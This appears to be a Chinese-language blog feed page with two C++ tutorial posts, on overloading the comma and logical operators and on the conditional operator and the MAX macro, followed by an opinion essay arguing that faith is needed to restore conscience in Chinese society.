以上對逗號運算符與邏輯運算符的討論,僅限於C++標準所定義的運算符語義。爲什麼這樣說呢?這是因爲在C++中,運算符的語義是可以由程序員自行定義的,這種機制叫做運算符重載(operator overload)。運算符重載可以將人們熟悉的運算符表達式轉換成函數調用,使編程靈活而直觀,是個方便的語言特性。不過有時運算符重載也會使人困擾,那就是當運算符重載遇到求值順序問題時。

C++中,並不是所有合法運算符都可以被合法地重載。條件運算符雖然對求值順序有要求,但它並不在可重載運算符之列,所以運算符重載機制對它沒有影響。問題在於,逗號運算符和邏輯運算符都可以被合法地重載:

class BadThing{/* Some Bad and Stupid Thing*/};

BadThing& operator,(BadThing&, BadThing&);//重載了逗號運算符

bool operator&&(BadThing&, BadThing&);//重載了&&

BadThing b1,b2;

if(b1&&b2)b1,b2;//被替換成如下形式:

if(operator&&(b1,b2))operator,(b1,b2);

可以看到,重載了運算符之後,對運算符的使用被替換爲相應的函數調用形式。因此,舊有的運算符的執行順序不再適用,取而代之的是函數參數的壓棧順序。

根據C++標準規定,任何參數必須在進入函數之前壓棧,所以在進入operator&&之前,b1、b2就會被求值,這裏不再有短路規則,任何依賴於短路語義的不知不覺間操作BadThing的代碼(可能通過模板)都會混亂。

短路語義只是一個方面,更重要的在於壓棧順序。鑑於執行效率和舊代碼兼容性等細節問題,C++標準在壓棧順序上給編譯器的開發者留有很大自主性。標準的說辭是,編譯器可能以任何它覺得方便的順序將參數壓棧,從左到右,從右到左,甚至從中間到兩邊,在這一點上我們不能安全地做任何假設。在上面的例子中,編譯器生成的代碼可能先計算b1再計算b2,也可能是相反的順序。再看看編譯器的實際情況,在我試過的所有基於X86體系結構的編譯器中,參數都是以逆向壓棧,即從右到左,有悖於大多數人的閱讀習慣和直覺(別說你是來自伊斯蘭的……)。

在C時代使用函數調用時,壓棧順序並不是什麼大問題,畢竟大多數人會在函數調用的邊界稍稍小心一些。但是到了C++中,事情變得有些複雜,因爲簡單如a+b的使用,就有可能被運算符重載機制替換爲函數調用。更何況有模板參與之後,我們寫代碼時不能確定對象的真實類型,也就無法預知一個運算符是否真的被重載過,唯一穩妥的方法是,假定任何有可能被重載的運算符的使用都是函數調用。

<p style="margin:0;">

回到上文的示例中,由於,和&&都被替換爲函數調用,程序的執行順序將成爲壓棧順序,在X86上很有可能是從右到左,與標準定義的運算符的順序正好相反。逗號運算符原本就含有“先…後…”的語義,這種顛倒的執行順序勢必造成程序和程序員的混亂。以我的經驗而言,含有operator,的類,完全沒有辦法和STL或者iostream相互協作,反而會導致巨量的錯誤報告(什麼叫巨量的錯誤報告有概念麼?如果沒有,那說明你還沒玩過範式編程(GP, Generic Programming)。去玩玩GP吧,看看你的編譯器對巨量的定義。在我手頭,針對3.5KB的代碼文件傾瀉出3.8MB的錯誤信息的編譯器不在少數……)。有鑑於此,我的結論是,除非你有充足的依據支持你這麼做(比如你的粗暴上司的鍵盤上只剩下逗號能用),並且你清楚的瞭解這麼做的後果的嚴重性(比如至少要看過此文),否則我奉勸你,永遠不要碰operator,、operator&&以及operator||!

by farseerfc at August 22, 2007 09:06 AM

C++ Tricks 1.1 條件運算符(?:)

farseerfc.wordpress.com 導入

1.1   條件運算符(?:)

條件運算符(?:)是C++中唯一的三目運算符(trinary operator),用於在表達式中作條件判斷,通常可以替換if語句,與Visual Basic中的iif函數、Excel中的if函數有同樣的作用。語法形式如下:

condition ? true_value : false_value

其中condition *條件是任何可以轉換爲bool類型的表達式,包括但不僅限於**bool*int、指針。與ifwhile的條件部分稍顯不同的是,這裏不能定義變量,否則會導致語法錯誤。

另外,條件語句會切實地控制執行流程,而不僅僅是控制返回值。也就是說,兩個返回值表達式中永遠只有一個會被求值,在表達式的執行順序很重要時,這點尤爲值得注意。比如:

int *pi=getInt();

int i=pi?*pi:0;

這裏,只有當pi的值不爲0時,它纔會被提領(dereference)。這種語義保證了程序的正確性,因爲提領一個空指針將導致致命的運行期錯誤(通常是非法操作的警告)。同時,正因爲條件運算符控制運算流程的特點,使得它不能用類似iif的普通函數來模擬:

int iif(int con,int t,intf){if(c)return t;return f;}//試圖模擬?:

…//in some function

int *pi=getInt();

int i=iif(pi,*pi,0);//Error!

這段代碼會導致上文提到的致命運行期錯誤。C/C++標準規定,參數在被傳遞給函數之前求值,因此無論pi爲何值,都會被提領。又因爲函數傳回一個空指針的情況比較少見,所以這樣的錯誤在調試時很難被發現,一旦發生又勢必造成重大災難。這樣的代碼在實踐中應儘量避免。

有時,條件運算符控制流程的特點會不知不覺影響我們的代碼。在C時代,最大值MAX通常用宏實現:

#defineMAX(a,b) ((a)>(b)?(a):(b))

需要用額外的括號將宏參數和宏本體保護起來,以免運算符優先級擾亂邏輯,這是宏醜陋的特點之一,這裏暫且不提。矛盾在於,用具有副作用的表達式調用宏時,會出現問題:

int i=5,j=6;//…

int a=MAX(++i,++j);

代碼的作者原意顯然是想先將i,j分別遞增,再將其中較大的一個賦給a。執行這段代碼,當i=5,j=6時,a=8,知道爲什麼嗎?通過宏展開,賦值語句成這樣:

int a=(++i)>(++j)?(++i):(++j);//刪除了多餘括號

在判斷之前,i、j被分別自增一次,然後捨棄:之前的部分,j又被自增一次。執行之後,i=6,j=8。

MAX的更正確更安全的實現,是利用模板將類型參數化。STL標準算法中就有一個這樣的工具級模版函數std::max。

條件運算符是表達式而不是語句,這使得它可以出現在任何需要表達式的地方,這擴大了它的適用範圍。在那些語法上只能出現表達式而不能出現語句的地方(比如變量初始化),條件運算符有着不可替代的作用。

條件運算符優於if語句的另一個場合是“模板元編程”(TMP, Template MetaProgramming)。在TMP這個古怪奇異的編譯期運算編程技術中,一切舊有的技術和法則被全線擊破,我們所能仰仗的工具,只有模板特化(Specialization)、typedefs、函數聲明(無法調用它們)、以及編譯期常量運算。已經有人很深入地論證過,僅有以上這些,就已經形成了一個“圖靈完善”的計算機語言。我們可以用模板特化技術,來模擬條件分支,循環迭代等一系列複雜的語言結構。由於可以參與編譯期常量運算,條件運算符在TMP世界中很自然地扮演起重要角色。

比如,給與類型T的一個變量t,我們想聲明一個緩衝區存放t和一個int,緩衝區的大小不小於sizeof(T)也不小於sizeif(int),我們可以這樣寫:

char buffer[sizeof(T)>sizeof(int)? sizeof(T): sizeof(int)];

我們不能用一個if語句替換這個運算:

int i;

if(sizeof(T)>sizeof(int))i=sizeof(T);

else i=sizeof(int);

char buffer[i];//語法錯誤!

原因在於數組聲明中的下標必須是一個編譯期常量,而不是一個運行期的值,條件表達式的運算可以在編譯期進行,if語句就只能在執行期執行。

by farseerfc at August 22, 2007 09:05 AM

August 07, 2006

farseerfc

填補信仰、喚醒良知

farseerfc.wordpress.com 導入

填補信仰、喚醒良知

我們聽盡了呼籲與號召,對於良知,我不必譴責喪失它的國人,不必盛讚良知的美好。我只想討論,喪失了良知的原因——空缺的信仰。

一、空缺信仰喪失良知

現代的國人缺少信仰,以至於喪失良知。曾幾何時,中華民族由良好的信仰凝聚而成。三皇五帝時,族民們以炎黃爲信仰;春秋戰國時,士大夫之族以周制禮樂爲信仰;漢代以後,百姓延習孔孟之說、老聃之道,以儒家學說爲信仰;自大唐起,以佛教爲首的現代宗教紛紛傳入中原,人民開始以它們作爲信仰。

直至鴉片戰爭、五四運動,西方文化入侵中華,國人開始拋棄國學,轉而去研究科學;文化大革命,十年文化浩劫,人們批判舊的信仰,卻沒有合適的新的信仰前來填補。從此,國人的信仰出現空缺,國人的良知也被一塊塊蠶食殆盡。

二、信仰、科學、迷信

在許多國人的心目中,信仰就等於迷信。從小到大的教育告訴我們,信奉宗教是愚昧而又無知的表現,科學與信仰是矛盾的。是麼?

我們無法保證社會上的每一個人都接受過良好的教育,我們無法確信最前沿的科學素養能在民衆中普及。在科普與教育力不從心的社會死角,在科學技術尚不能及的文化盲區,我們依舊需要信仰的規範與限制,我們的良知需要信仰!

信仰不等於迷信。信仰本身無所謂謎與不迷,迷信是持有信仰的人誤解了信仰,盲目遵從的結果。以爲燒過香就可以免遭禍患,以爲捐了錢就可以升入天堂,以爲引火自焚就可以功德圓滿,這便是迷信了。希特勒曾經的人類完善計劃,依照遺傳學的原理,將科學家與運動員強行結爲夫婦孕育生命,希望得到最優秀的人類種族,這便是對科學這種信仰的迷信!

由此可見,科學與信仰並不是矛盾的硬幣的兩面,從某種意義而言科學本身也是信仰的一種。雖然歷史上宗教往往作爲科學發展的阻礙,可信奉真理的信念一直是推動科學發展的動力。牛頓就曾說過,對自然規律的探詢是爲了更接近上帝。由此可見,信仰與真理,與良知毫無矛盾。

三、信仰喚醒良知

很少有人仔細思考過,良知的缺失是由信仰的缺失造成的。信仰是人思想的寄託與依靠,是人行動處世的準則。沒有了信仰的人,思想行爲就缺少了約束的標準,人就更容易因爲一時不成熟的衝動,背叛良知、鑄成錯誤。

泰國人以佛教爲信仰,泰國的寺廟每天都會有成千上萬人頂禮膜拜。寺廟有一個人盡皆知的不成文規定:不得穿鞋進入。於是在寺廟之外,遊客們可以看到千百雙各式的鞋子有序的擺放在門口。國人每每看到此景,總會詫異地問:沒有人會偷鞋麼?得到的答案極爲簡單:廟前偷鞋會遭報應。由於擁有信仰,泰國人作了壞事會受到良知的譴責,泰國商人售出假貨會徹夜難眠。二戰期間,無數猶太難民被天主教會收留藏匿從而僥倖逃生,這同樣是出於,天主教徒們被自己信奉的教義“衆生生來平等”,所喚醒的良知。

天下無賊的世界,不能僅靠科普說教來營造。如果脫離了信仰,縱使是教育也無法培養良知。我問過許多修化學的同學,學習化學的意義,結論竟是爲了考試。如果沒有對科學的信仰,我們可以牢記公式定理,卻質疑它們是真理;如果沒有對社會公德的信仰,我們可以熟背交通規則,卻正大光明地闖紅燈;如果沒有對醫療道德的信仰,醫生可以放任傷口發炎,從而留住病人繼續治療……

國人需要信仰的約束,需要填補信仰的空白,從而喚醒那深埋於每個國人內心深處的良知!

by farseerfc at August 07, 2006 12:36 PM